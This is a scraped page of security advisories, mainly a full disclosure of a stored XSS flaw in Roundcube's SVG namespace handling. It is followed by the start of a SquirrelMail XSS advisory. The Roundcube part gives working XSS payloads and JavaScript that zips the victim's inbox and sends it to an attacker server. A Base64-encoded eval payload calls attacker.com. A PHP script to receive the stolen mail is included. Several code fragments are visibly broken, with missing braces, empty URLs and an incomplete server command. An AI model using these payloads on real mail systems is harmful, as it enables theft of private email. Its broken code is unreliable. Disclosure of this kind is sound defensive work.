SSD Advisory – IP-Board Stored XSS to RCE Chain

Find out how an XSS in IP-Board can be leveraged into an remote code execution.

SSD Advisory – aaPanel CSWH to RCE

Find out how a CSWH hijacking vulnerability in aaPanel allows remote attackers to cause an authenticated user to execute arbitrary commands inside aaPanel’s managed servers.

SSD Advisory – SmarterMail XSS

Find out how a cross site scripting vulnerability in SmarterMail allows remote attackers to obtain the JWT token used to authenticate the user.

SSD Advisory – Roundcube Incoming Emails Stored XSS


Find out how we exploited Roundcube webmail application and crafted an email containing malicious HTML that execute arbitrary JavaScript code in the context of the vulnerable user’s inbox.

Vulnerability Summary

Roundcube webmail is a browser-based multilingual IMAP client with an application-like user interface.
An input sanitization vulnerability in Roundcube can be exploited to perform a stored cross-site scripting (XSS) attacks.




An independent Security Researcher, Andrea Cardaci, has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

Roundcube versions:
– 1.3.8
– 1.3.9
– 1.4 (current main branch)

Vendor Response

The vendor acknowledges the vulnerability and fixed it, see vendor advisory for more details:

Vulnerability Details

Roundcube uses a custom version of Washtml (a HTML sanitizer) to display untrusted HTML in email messages. One of the modifications adds the SVG supportsvg-support, in particular, an exception has been added in rcube_washtml.php for the svg tag to properly handle XML namespaces (dumpHtml function):

if ($tagName == 'svg') {
    $xpath = new DOMXPath($node->ownerDocument);
    foreach ($xpath->query('namespace::*') as $ns) {
        if ($ns->nodeName != 'xmlns:xml') {
            $dump .= ' ' . $ns->nodeName . '="' . $ns->nodeValue . '"';

This snippet uses an XPath query to list and add all the non-default XML namespaces of the root element of the HTML message to the svg tag as attributes. The vulnerable part here is that $ns->nodeName and $ns->nodeValue values are added to $dump without proper sanitization (e.g., htmlspecialchars).[svg-support]  Introduced in commit a1fdb205f824dee7fd42dda739f207abc85ce158.

There are a number of things to consider in order to manage to successfully inject arbitrary HTML code.

First, if the HTML message lacks the head tag (or alternatively a meta specifying the charset, in newer releases) then Roundcube appends a default preamble to the message; this is undesirable as the goal is to control the root element. (Also note that the svg tag itself cannot be the root element.)

Second, when at least one svg tag is present (and the <html string is not) the message is parsed using DOMDocument::loadXMLdom-node and that requires a valid XML document.

Finally, by taking into account that DOMDocument::loadXML decodes any HTML entity during the parsing, it is possible to use &quot; to escape the hard coded double quotes in the above snippet and &lt;/&gt; to escape the svg element altogether.

Since the namespaces are added to the svg tag, a simple way to exploit this vulnerability is to use the onload event:

<head xmlns="" onload="alert(document.domain)"><svg></svg></head>

The resulting HTML is:

<svg xmlns="" onload="alert(document.domain)" />

It is likewise possible to escape the svg tag entirely and inject a script tag:

<head xmlns=""><script>alert(document.domain)</script>"><svg></svg></head>

The resulting HTML is:

<svg xmlns=""><script>alert(document.domain)</script>" />

[dom-node]  In the above snippet $node is an instance of DOMNode.


Possibly one of the most effective ways to demonstrate the impact of this vulnerability is to exploit the zipdownload plugin (enabled by default) to fetch the whole inboxuid as a zipped MBOX file then upload it to a web server controlled by the attacker via a POST request:

(async () => {
    const uploadEndpoint = '';

    // download the whole inbox as a zip file
    const response = await fetch('?_task=mail&_action=plugin.zipdownload.messages', {
        method: 'POST',
        credentials: 'include',
        headers: {
            'content-type': 'application/x-www-form-urlencoded'
        body: `_mbox=INBOX&_uid=*&_mode=mbox&_token=${rcmail.env.request_token}`

    // prepare the upload form
    const formData = new FormData();
    const inboxZip = await response.blob();
    formData.append('inbox', inboxZip, '');

    // send the zip file to the attacker
    return fetch(uploadEndpoint, {
        method: 'POST',
        mode: 'no-cors',
        body: formData

To avoid using HTML entities for & it is possible to encode everything with Base64. The final payload becomes:

<head xmlns="" onload="eval(atob('KGFzeW5jKCk9Pntjb25zdCB1cGxvYWRFbmRwb2ludD0iaHR0cDovL2F0dGFja2VyLmNvbTo4MDgwL3VwbG9hZC5waHAiO2NvbnN0IHJlc3BvbnNlPWF3YWl0IGZldGNoKCI/X3Rhc2s9bWFpbCZfYWN0aW9uPXBsdWdpbi56aXBkb3dubG9hZC5tZXNzYWdlcyIse21ldGhvZDoiUE9TVCIsY3JlZGVudGlhbHM6ImluY2x1ZGUiLGhlYWRlcnM6eyJjb250ZW50LXR5cGUiOiJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQifSxib2R5OmBfbWJveD1JTkJPWCZfdWlkPSomX21vZGU9bWJveCZfdG9rZW49JHtyY21haWwuZW52LnJlcXVlc3RfdG9rZW59YH0pO2NvbnN0IGZvcm1EYXRhPW5ldyBGb3JtRGF0YTtjb25zdCBpbmJveFppcD1hd2FpdCByZXNwb25zZS5ibG9iKCk7Zm9ybURhdGEuYXBwZW5kKCJpbmJveCIsaW5ib3haaXAsIklOQk9YLm1ib3guemlwIik7cmV0dXJuIGZldGNoKHVwbG9hZEVuZHBvaW50LHttZXRob2Q6IlBPU1QiLG1vZGU6Im5vLWNvcnMiLGJvZHk6Zm9ybURhdGF9KX0pKCk7Cg=='))"><svg></svg></head>

The POST request can be easily received by the built-in PHP web server, for example create an upload.php file with:

<?php<br>$file = $_FILES['inbox'];<br>move_uploaded_file($file['tmp_name'], $file['name']);

Then start the server with:

$ php -S

If the XSS is successfully triggered then a file is created in the current directory.[uid]  The _uid POST field can also be an array thus allowing to exfiltrate the inbox in chunks.


SquirrelMail – Incoming e-Mails Stored XSS

SquirrelMail allows to display HTML messages provided that non-safe fragments are redacted. An input sanitization vulnerability that can be exploited to perform stored cross-site scripting (XSS) attacks has been discovered.
A remote attacker can send a specially crafted e-mail containing malicious HTML and execute arbitrary JavaScript code in the context of the vulnerable webmail interface when the user displays the message. This basically grants the attacker the same privileges of the authenticated victim, in particular this enables to (among other things): send e-mail messages on the behalf of the victim, fetch conversations from folders, delete or otherwise manage messages, log the victim out of SquirrelMail, etc.
It is likely that even prior versions are affected since this does not appear to be a regression but merely an insufficient implementation.
The HTML sanitizer uses a blacklist approach based on tag and attributes names to recognize potentially dangerous HTML code and decide how to fix it, for example, attributes starting with on are removed as they usually represent events. In particular, the <script> element is deleted and the href attribute can only assume certain schemes (e.g., not javascript:) otherwise it is replaced with a void image URL.
It is possible to bypass these checks by using the SVG counterpart of the <a> and <script> elements. This variant exposes the href attribute as part of the xlink namespace (for the latter it allows to specify the resource containing the script code) therefore it can be accessed with xlink:href which is ignored by SquirrelMail. Moreover, in this context <script> can be self-closing and the lack of closing tag is enough to deceive the sanitizer.
Two methods have been devised, to maximize the chances of success it may be advisable to employ both.
An independent security researcher, Andrea Cardaci, has reported this vulnerability to SSD Secure Disclosure program.
Affected versions
SquirrelMail version 1.4.23 (SM-1_4-STABLE @ r14746)
SquirrelMail version 1.5.2 (trunk @ r14747)

No user action required
This solution only works with Firefox and Edge [1] and requires no additional interaction from of the user: